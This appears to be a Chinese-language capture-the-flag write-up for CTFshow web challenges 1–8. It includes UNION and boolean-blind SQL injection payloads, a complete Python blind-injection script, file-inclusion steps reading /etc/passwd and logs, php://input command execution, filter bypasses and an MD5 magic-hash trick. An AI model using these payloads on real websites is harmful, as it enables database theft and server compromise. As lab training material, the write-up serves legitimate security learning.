CTFshow_web1:
F12查看JS即在代码里
CTFshow_web2:
进入网址后页面如下:
①:尝试使用admin登陆,发现页面无回显
②:尝试单引号闭合,并且添加' or 1=1#,此时在后台查询语句应该为:
SELECT * FROM users where user='admin' or 1=1#&passwd=
条件为真即出现回显,如图:
③:通过查询语句【admin' or 1=1 order by x #】来判断列数,最终得到有3列
④:因为有回显,所以考虑联合查询注入,查询语句为【admin' or 1=1 union select 1,2,3 #】,显示如下,所以2号位有回显
⑤:通过2号位回显去获取数据库更多的信息,具体查询语句如下:
admin' or 1=1 union select 1,database(),3 # admin' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() # admin' or 1=1 union select 1,group_concat(column_name),3 from information_schema.tables where table_name='flag' # admin' or 1=1 union select 1,group_concat(flag),3 from flag #
⑥:依次回显结果如下:
database:web2
tables:flag,user
column:flag
ctf:ctfshow{7b448282-01e0-47d2-8b8a-4fbe3bc76ebb}
CTFshow_web3:
①:打开页面后发现是一个文件包含的题目:
②:尝试访问/etc/passwd,/var/log/nginx/access.log
③:尝试日志包含写入一句话木马,发现被过滤了敏感字符:<>()[]''
③:使用伪协议php://input,写入操作指令,又考虑到是GET请求,所以在burp里抓包修改:
返回结果如下:
ctf_go_go_go index.php
再次使用伪协议查询:
得到旗帜:
ctfshow{bea28caa-2287-4360-b9a9-3a3516f33476}
知识点回顾:
php://input伪协议:php://input 是个可以访问请求的原始数据的只读流。通俗来讲是将文件包含漏洞变成命令执行,一般与POST结合,与GET结合在Burp里使用较方便
CTFshow_web4:
同web3,只不过过滤了php等协议,使用日志注入可以得到,通过蚁剑或者菜刀连接,得到Flag
CTFshow_web5:
打开网页后发现是一条代码审计的题目,关键语句如下:
<?php $flag=""; $v1=$_GET['v1']; $v2=$_GET['v2']; if(isset($v1) && isset($v2)){ if(!ctype_alpha($v1)){ die("v1 error"); } if(!is_numeric($v2)){ die("v2 error"); } if(md5($v1)==md5($v2)){ echo $flag; } }else{ echo "where is flag?"; } ?>
题目要求位v1,v2 md5编码同,但是v1得是全字符,v2得是全数字
考虑md5碰撞,即v1,v2md5后均以0e开头
则输入
http://fe4405b1-ecd4-4cab-ba59-ec5e20bf9dfc.chall.ctf.show:8080/?v1=QNKCDZO&v2=240610708
获得旗帜
CTFshow_web6:
字符型注入,过滤空格,用/**/替换即可其他步骤同web2
CTFshow_web7:
字符型注入,过滤了空格,双引号
http://3ce03932-8cc0-4775-bd47-8917c5efd019.chall.ctf.show:8080/?id=1'/**/union/**/select/**/1,database(),group_concat(flag)/**/from/**/flag#
CTFshow_web8:
考查的是bool盲注,并且过滤了空格,双引号,构造payload进行自动化脚本注入
注意点:
①:自动化脚本的核心是payload,首先要判断字符型注入和数字型注入,然后根据正确的payload去跑代码
②:当过滤了 (0,1)时,可以使用from 0,for 1,过滤了双引号可以使用16进制进行替换
#!/usr/bin/python #-*- encoding: utf-8 -*- import requests url="http://1c2fdfff-d246-41dd-8e8a-70b65692521d.chall.ctf.show:8080/index.php?id=-1" dbPayload="/**/or/**/ascii(substr(database()/**/from/**/{0}/**/for/**/1))={1}" tbPayload="/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/{0}/**/for/**/1))={1}" cuPayload="/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)/**/from/**/{0}/**/for/**/1))={1}" alPayload="/**/or/**/ascii(substr((select/**/group_concat(flag)/**/from/**/flag)/**/from/**/{0}/**/for/**/1))={1}" def Getal(url): Gurl=url+alPayload print("开始破解所有元素:") Allname="" for i in range(1,100): temp_len=len(Allname) for j in range(41,128): Durl=Gurl.format(i,j) r=requests.get(Durl) if 'By Rudyard Kipling' in r.text: Allname+=chr(j) print("破解中的元素名:",Allname) break if temp_len==len(Allname): print("破解成功,旗帜为:",Allname) break return Allname def Dable(url): Durl = url + dbPayload print("开始破解数据库:") Dablename="" for i in range(1,50): temp_len=len(Dablename) for j in range(41,128): Turl=Durl.format(i,j) r=requests.get(Turl) if 'By Rudyard Kipling' in r.text: Dablename+=chr(j) print("破解中的数据库名:",Dablename) break if temp_len==len(Dablename): print("破解成功,数据库名为:",Dablename) break return Dablename def Table(url): Aurl=url+tbPayload Tablename="" print("开始破解数据表:") for i in range(1,50): temp_len=len(Tablename) for j in range(40,128): Turl=Aurl.format(i,j) r=requests.get(Turl) if 'By Rudyard Kipling' in r.text: Tablename+=chr(j) print("破解中的数据表名",Tablename) break if temp_len==len(Tablename): print("破解成功,数据库表名为:",Tablename) break return def Cuable(url): Mnurl=url+cuPayload Cumname="" print("开始破解数据列:") for i in range(1,50): temp_len=len(Cumname) for j in range(40,128): Courl=Mnurl.format(i,j) r=requests.get(Courl) if 'By Rudyard Kipling' in r.text: Cumname+=chr(j) print("破解中的数据列名",Cumname) break if temp_len==len(Cumname): print("破解成功,数据列名为:",Cumname) break return Cumname if __name__ == '__main__': Dable(url) Table(url) Cuable(url) Getal(url)
反思:web8如果使用暴力破解花费的时间较大,其实可以使用二分法,大幅度缩短运行时间,并且在判断页面是否正确还可以通过判断返回文章长度,例如:
success_len=len(requests.get(url).text) .... .... for i in range(1,50): for j in range(40,128): Courl=Mnurl.format(i,j) r=len(requsets,get(Courl).text) if r==success_len: ......
此外使用range()函数比使用字典判断更好一方面代码更加美观,另一方面避免字典遗漏部分字符的问题